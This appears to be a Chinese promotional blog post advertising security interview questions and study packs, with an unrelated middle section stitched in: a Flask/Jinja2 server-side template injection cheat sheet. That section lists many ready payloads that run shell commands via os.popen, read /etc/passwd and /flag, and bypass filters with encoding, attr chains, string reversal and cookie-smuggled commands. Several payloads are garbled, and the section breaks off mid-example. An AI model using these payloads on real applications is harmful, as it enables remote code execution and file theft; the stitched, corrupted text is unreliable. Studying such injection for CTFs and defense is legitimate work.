还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!

王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。

对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!

【完整版领取方式在文末!!】

93道网络安全面试题

内容实在太多,不一一截图了

黑客学习资源推荐

最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

1️⃣零基础入门
① 学习路线

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

image

② 路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供:

image-20231025112050764

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

print(c.__class__)(当前类C)

print(c.__class__.__base__)(当前类C的父类B)

print(c.__class__.__base__.__base__)(父类的父类即A)

print(c.__class__.__base__.__base__.__base__)(最终是object)

print(c.__class__.__base__.__subclasses__())(罗列出父类B下所有子类,即类C和类D)

print(c.__class__.__base__.__subclasses__()[1])(如果类C排在类D前面,这里就是调用父类B下的子类D,如果[1]换成[0]就是调用子类C)

{{‘’.class__}}里的两个单引号意思是随便找一个对象,我们会在网上看到别人的wp有时候是{{().class__}},{{“”.class__}}或者{{[].class__}}区别只是包裹的是字符,元组还是列表,仅是返回的数据类型不同,本质无区别,如果被过滤可以互相替代。

(但是只有被重载后的init才有正常method有globals,slot_wrapper和builtin method没有,所以才要去找被重载了init的子类)

各种payload示例:

通过config,调用os

{{config.__class__.__init__.__globals__[‘os’].popen(‘ls’).read()}}

无过滤的情况下也可以直接{{config}}看看能不能撞上flag(?)

通过url_for,调用os

{{url_for.__globals__.os.popen(‘ls’).read()}}

在已加载os模块的子类里直接调用os模块

{{“”.__class__.__bases__[0].__subclasses__()[199].__init__.__globals__[‘os’].popen(“ls”).read()}}

{{“”.__class__.__base__.__subclasses__()[117].__init__.__globals__[‘builtins’]‘eval’}}

importlib类执行命令

importlib类执行命令相当于自己导入,可以加载第三方库,使用load_module加载os

{{[].__class__.__base__.__subclasses__()[69].“load_module”“popen”.read()}}

linecache函数执行命令

linecache函数可用于读取任意一个文件的某一行,而这个函数中也引入了os 模块,所以我们也可以利用这个 linecache 函数去执行命令。

{{[].__class__.__base__.__subclasses__()[19].__init__.__globals__.linecache.os.popen(“ls”).read()}}

subprocess.Popen类执行命令

从python2.4版本开始,可以用 subprocess 这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值。

{{().__class__.__base__.__subclasses__()13.communicate()[0].strip()}}

WAF绕过:

1、{%%}绕过过滤{{}}

尝试{%%},想回显内容在外面加个print就行,

{%print(“”.__class__)%}

2、getitem()绕过[]过滤

getitem() 是python的一个魔术方法,对字典使用时,传入字符串,返回字典相应键所对应的值:当对列表使用时,传入整数返回列表对应索引的值。

原本是[117],中括号被ban就用

__getitem__(117)代替[117]

3、request方法绕过:

request在flask中可以访问基于 HTTP 请求传递的所有信息,这里的request并非python的函数,而是在flask内部的函数。

request.args.key  #获取get传入的key的值

request.form.key  #获取post传入参数(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)

reguest.values.key  #获取所有参数,如果get和post有同一个参数,post的参数会覆盖get

request.cookies.key  #获取cookies传入参数

request.headers.key  #获取请求头请求参数

request.data  #获取post传入参数(Content-Type:a/b)

request.json  #获取post传入json参数 (Content-Type: application/json)

request绕过单双引号过滤

066c2df7a9f7414a95a5b933e5db0050.png

同理单双引号也可以用cookies绕过

{{().__class__.base__.__subclasses__()[117].__init__.__globals__request.cookies.k1.read()}}

改包添加cookie

Cookie:k1=popen;k2=cat /etc/passwd

4、绕过下划线过滤:

1.使用request方法

GET提交URL?cla=__class__&bas=__base__&sub=__subclasses__&ini=__init__&glo=__globals__&gei=__getitem__

POST提交:

code={{()|attr(request.args.cla)|attr(request.args.bas)|attr(request.args.sub)()|attr(request.args.gei)(117)|attr(lequest.args.ini)|attr(request.args.glo)|attr(request.args.gei)(‘popen’(‘cat /etc/passwd’)attr(‘read’)()}}

2、使用Unicode编码

前置知识:

①‘’|attr(“__class__”)等效于‘’.__class__

②如果要使用xxx.os(‘xxx’)类似的方法,可以使用xxx|attr(“os”)(‘xxx’)

③使用flask里的lipsum方法来执行命令:flask里的lipsum方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块

Unicode编码的python脚本如下:

class_name = "cat /flag"

unicode_class_name = ''.join(['\\u{:04x}'.format(ord(char)) for char in class_name])

print(unicode_class_name)

payload示例:

url={%print(()|attr(%22\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f%22))%}

(Unicode编码,这条payload等效于{{“”.__class__}})

3、使用十六进制编码

{{()[“\x5f\x5fclass\x5f\x5f”][“\x5f\x5finit\x5f\x5f”][“\x5f\x5fglobals\x5f\x5f”][“os”].popen(“ls”).read()}}

这条payload等效于{{“”.__class__.__init__.globals__.os.popen(“ls”).read()}}

4、同理有base64编码绕过
5、格式化字符串

{{()|attr(“%c%cclass%c%c”%(95,95,95,95))|attr(“%c%cbase%c%c”%(95,95,95,95))|attr(“%c%csubclasses%c%c”%(95,95,95,95))()|attr(“%c%cgetitem%c%c”%(95,95,95,95))(117)|attr(“%c%cinit%c%c”%(95,95,95,95))|attr(“%c%cglobals%c%c”%(95,95,95,95))|attr(“%c%cgetitem%c%c”%(95,95,95,95))(‘popen’)(‘cat /etc/passwd’)|attr(‘read’)()}}

%c %(95) 即下划线(如果是在 hackbar 注入,需要将%编码为%25。在 URL中%是一个特殊字符,用于表示后面紧跟着两个十六进制数字的转义序列,如果想在 URL中包含%字符本身,需要对它进行额外的编码,将%编码成%25)

5、绕过点过滤

1、中括号[]代替点

{{()[‘class’][‘base’]‘subclasses’[117][‘init’][‘globals’]‘popen’‘read’}}

2、如果中括号也被过滤可以考虑attr()绕过

{{()|attr(‘__class__’)|attr(‘__base__’)|attr(‘__subclasses__’)()|attr(‘__getitem__’)(199)|attr(‘__init__’)|attr(‘__globals__’)|attr(‘__getitem__’)(‘os’)|attr(‘popen’)(‘ls’)|attr(‘read’)()}}

过滤器:

flask常用过滤器:

length(): 获取一个序列或者字典的长度并将其返回

int(): 将值转换为int类型;

float():  将值转换为float类型

lower():  将字符串转换为小写

upper():  将字符串转换为大写

reverse():  反转字符串;

replace(value,old,new):  将value中的old替换为new

list():  将变量转换为列表类型,

string():  将变量转换成字符串类型

join():  将一个序列中的参数值拼接成字符串,通常配合dict()混合绕过

attr():  获取对象的属性

tips:

  1. 过滤器通过管道符号(|)与变量连接
  2. 一个过滤器的输出将应用于下一个过滤器

{{ users|upper}}  #把users值转化为大写

{{ users|upper|lower }}  #把users值转化为大写然后转化为小写,最终是小写

6、绕过关键字过滤:

1、编码绕过(就是刚刚的Unicode编码那些)
2、"+"拼接

{{().__class__}}等效于{{()[‘__cla’+’ss__’]}}

{{()[‘__cla’+’ss__’][‘__ba’+’se__’] [ ‘__subc’+’__lasses__’]‘__ get’+’item__’[‘__in’+’it__’][‘__glo’+’bals__’]‘__geti’+’tem__’‘po’+’pen’‘read’}}

3、Jinjia2中的~拼接

{{()[‘__class__’]}}等价于{%set a=’__cla’%}{%set b=’ss__’%}{{()[a~b]

{%set a=’__cla’%}{%set b=’ss__%}{%set c=’__ba’%}{%set d=’se__’%}{%set e=’__subcl’%}{%set f=’asses__’%}{%set g=’__in’%}{%set h=’it__’%}{%set l=’__gl’%}{%set i=’obals__%}{%set i=’po’%}{%set k=’pen’%}{{“”[ab][cd]e~f[19][gh][li][‘os’]j~k‘read’}}

4、过滤器绕过(reverse,replace,join)

过滤器reverse

{{()[‘__class__’]}}等价于{%set a=”__ssalc__”|reverse%}{{()[a]}}

payload可以这么构造:

{%set a=”__ssalc__”|reverse%}{%set b=“__esab_
_”|reverse%}{%set c=”__sessalcbus__”|reverse%}{%set d=“__ tini__”|reverse%}{%set e=”__slabolg__”|reverse%}{%set f=”nepop”|reverse%}{{“”[a][b]c[199][d][e][‘os’]f‘read’}}

过滤器replace

{{()[‘__class__’]}}等价于{%set a=”__claee__”|replace(“ee”,“ss”)%}{{()[a]}}

过滤器join

{%set a=dict(__cla=a,ss__=a)|join%}{{()[a]}}

(%set a=[‘__cla’,’ss__’]|join%}{{()[a]}}

5、利用python里的char()

{% set chr=url_for.__globals__[__builtins__].chr %}

(从内置函数里面获取ASCII解码功能,并赋值给变量chr)

构造payload如下:

{{“”[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}

(这条payload等效于{{“”.__class__}})

7、绕过数字过滤

首先介绍length过滤器,length过滤器通常用于获取数据结构(比如列表、字典或字符串)的长度。

{% set a=’aaaaaaaaaa’|length %}{{a}}  #10

{% set a=’aaaaaaaaaa’|length*’aaa’|length %}{{a}}  #30

{% set a=’aaaaaaaaaa’|length*’aaaaaaaaaaaa’|length-’aaa’ |length %}{{a}}   #117

10个a*12个a-3个a=117个a

如果数字被过滤可以这样绕过:

{% set a=’aaaaaaaaaa’|length %}{{“”.__class__.__bases__.__subclasses__()[a].__init__.__ globals__[‘os’].popen(“ls”).read()}}

8、绕过符号过滤

利用flask内置函数和对象获取符号

{% set a=({}|select()|string()) %}{{a}} #获取下划线

{% set a=({}|self|string()) %} {{a}} #获取空格

{% set a=(self|string|urlencode) %}{{a}}  #获取百分号

{% set a=(app.__doc__|string) %}{{a}}

SSTI混合过滤绕过:

实例解析1——WAF过滤’,”,+,request,[]

Payload原型:

{{().__class__.__base__}}

本人从事网路安全工作12年,曾在2个大厂工作过,安全服务、售后服务、售前、攻防比赛、安全讲师、销售经理等职位都做过,对这个行业了解比较全面。

最近遍览了各种网络安全类的文章,内容参差不齐,其中不伐有大佬倾力教学,也有各种不良机构浑水摸鱼,在收到几条私信,发现大家对一套完整的系统的网络安全从学习路线到学习资料,甚至是工具有着不小的需求。

最后,我将这部分内容融会贯通成了一套282G的网络安全资料包,所有类目条理清晰,知识点层层递进,需要的小伙伴可以点击下方小卡片领取哦!下面就开始进入正题,如何从一个萌新一步一步进入网络安全行业。

学习路线图

其中最为瞩目也是最为基础的就是网络安全学习路线图,这里我给大家分享一份打磨了3个月,已经更新到4.0版本的网络安全学习路线图。

相比起繁琐的文字,还是生动的视频教程更加适合零基础的同学们学习,这里也是整理了一份与上述学习路线一一对应的网络安全视频教程。

网络安全工具箱

当然,当你入门之后,仅仅是视频教程已经不能满足你的需求了,你肯定需要学习各种工具的使用以及大量的实战项目,这里也分享一份我自己整理的网络安全入门工具以及使用教程和实战。

项目实战

最后就是项目实战,这里带来的是SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

面试题

归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

Logo

北京人形旗下天工造物具身智能开源社区,聚焦具身天工与慧思开物两大平台

更多推荐